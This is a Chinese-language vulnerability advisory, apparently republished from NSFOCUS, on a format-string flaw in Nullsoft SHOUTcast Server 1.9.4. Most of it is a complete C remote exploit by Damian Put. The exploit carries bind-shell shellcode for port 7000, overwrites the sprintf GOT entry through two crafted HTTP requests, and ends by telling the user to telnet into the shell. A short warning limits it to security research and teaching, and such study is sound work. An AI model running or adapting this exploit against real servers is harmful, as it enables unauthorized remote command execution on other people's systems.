信息来源：nsfocus
发布日期：2004-12-23
更新日期：2004-12-27
受影响系统：
Nullsoft Shoutcast Server 1.9.4 Win32
Nullsoft Shoutcast Server 1.9.4 Mac OS X
Nullsoft Shoutcast Server 1.9.4 Linux
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 12096
Nullsoft SHOUTcast Server是一款用于广播流声讯系统的服务器程序，可使用在多种Linux和Unix操作系统下，也可以使用在Microsoft Windows操作系统下。
Nullsoft SHOUTcast Server在处理客户提交的文件请求时存在问题，远程攻击者可以利用这个漏洞以进程权限在系统上执行任意指令。
提交一个包含格式串文件名的请求给SHOUTcast Server，由于sprintf()函数不正确过滤，可导致格式串问题，精心构建提交数据可能以进程权限在系统上执行任意指令。
<*来源：Damian Put （
pucik@cc-team.org）
链接：
http://marc.theaimsgroup.com/?l= ... 82975516003&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Damian Put （
pucik@cc-team.org）提供了如下测试方法：
复制内容到剪贴板
代码:
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <[email]pucik@cc-team.org[/email]> Cyber-Crime Team ([url]www.CC-Team.org[/url]) */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */
/* When exploit only crash SHOUTcast we should calculate new address: */
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */
#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/* Default SHOUTcast port */
#define PORT 8000
char shellcode[] = //bindshellcode (port 7000)
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
int sock;
char *host;
struct hostent *h;
struct sockaddr_in dest;
char req1[1024] = "GET /content/AA"
/* sprintf GOT addr */
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
strcat(req1, shellcode);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
/* We cannot use %numberx and %number$n (filtered) */
/* 0xbf3feee0 - shellcode addr on slackware 9.1 */
char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
" HTTP/1.0\r\n\r\n";
printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik [url]www.CC-Team.org[/url]\n");
if(argc < 2)
{
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
host = argv[1];
if(!(h = gethostbyname(host)))
{
fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
exit(-1);
}
sock = socket(PF_INET, SOCK_STREAM, 0);
dest.sin_addr=*((struct in_addr*)h->h_addr);
dest.sin_family = PF_INET;
dest.sin_port = htons(PORT);
if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}
printf("[*] Sending first request ...\n");
write(sock, req1, strlen(req1));
close(sock);
sock = socket(PF_INET, SOCK_STREAM, 0);
if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}
printf("[*] Sending second request ...\n");
write(sock, req2, strlen(req2));
close(sock);
printf("[*] Try telnet %s 7000 :)\n", host);
return 0;
}
